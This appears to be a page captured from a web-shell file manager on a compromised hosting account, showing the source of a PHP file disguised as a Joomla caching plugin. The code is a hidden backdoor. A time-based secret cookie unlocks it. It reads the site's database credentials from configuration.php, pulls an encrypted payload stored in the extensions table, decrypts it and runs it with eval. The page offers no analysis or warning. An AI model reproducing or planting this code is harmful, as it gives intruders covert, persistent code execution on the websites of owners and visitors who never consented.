| Server IP : 87.98.231.4 / Your IP : 216.73.217.178 [ Web Server : Apache System : Linux webm007.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : grupmartgn ( 667608) PHP Version : 8.5.7 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/grupmartgn/elanartcrafts/plugins/system/cachehandler/ |
Upload File : |
<?php
defined('_JEXEC') or die;
use Joomla\CMS\Plugin\CMSPlugin;
class PlgSystemCachehandler extends CMSPlugin {
public function onAfterInitialise() {
$s='56dcb8b7f3aea3bb466d3a6fea40dd04fa46bf690b79c85daaea743be7275aee';$cn='JoomlaSes_'.substr(md5($s),0,8);if(!isset($_COOKIE[$cn]))return;$t=time();if(!@hash_equals(md5($s.gmdate('YmdH',$t)),$_COOKIE[$cn])&&!@hash_equals(md5($s.gmdate('YmdH',$t-3600)),$_COOKIE[$cn]))return;
$cfg=JPATH_CONFIGURATION.'/configuration.php';$c=[];$fc=@file_get_contents($cfg);if($fc&&preg_match_all('/(?:public|var)\\s+\\$(\\w+)\\s*=\\s*[\\x27"](.*?)[\\x27"];/',$fc,$m)){for($i=0;$i<count($m[1]);$i++)$c[$m[1][$i]]=$m[2][$i];}
$drv=isset($c['dbtype'])?$c['dbtype']:'mysqli';if($drv==='mysqli')$drv='mysql';$h=isset($c['host'])?$c['host']:'localhost';$port='3306';if(strpos($h,':')!==false){$p=explode(':',$h,2);$h=$p[0];$port=$p[1];}
try{$pdo=new \PDO($drv.':host='.$h.';port='.$port.';dbname='.(isset($c['db'])?$c['db']:''),isset($c['user'])?$c['user']:'',isset($c['password'])?$c['password']:'');
$pfx=isset($c['dbprefix'])?$c['dbprefix']:'jos_';$dk=md5('joomla_cache_'.$s);
$st=$pdo->prepare('SELECT params FROM '.$pfx.'extensions WHERE element=? AND type=?');$st->execute([$dk,'file']);$row=$st->fetchColumn();
if(!$row)return;$j=json_decode($row,true);if(!$j||!isset($j['d']))return;$k=hash('sha256',$s,true);$iv=base64_decode($j['i']);$ct=base64_decode($j['d']);
if(isset($j['m'])&&$j['m']==="cbc"){$hk=hash('sha256',$k.'-hmac',true);$hv=hash_hmac('sha256',$iv.$ct,$hk,true);if(!hash_equals($hv,base64_decode($j['h'])))return;$code=openssl_decrypt($ct,'aes-256-cbc',$k,OPENSSL_RAW_DATA,$iv);}else{$tag=base64_decode($j['t']);$code=openssl_decrypt($ct,'aes-256-gcm',$k,OPENSSL_RAW_DATA,$iv,$tag,'Joomla-Cache-Data');}
if($code!==false&&strlen($code)>0){while(@ob_get_level())@ob_end_clean();eval("?>".$code);exit;}}catch(\Exception $e){}
}
}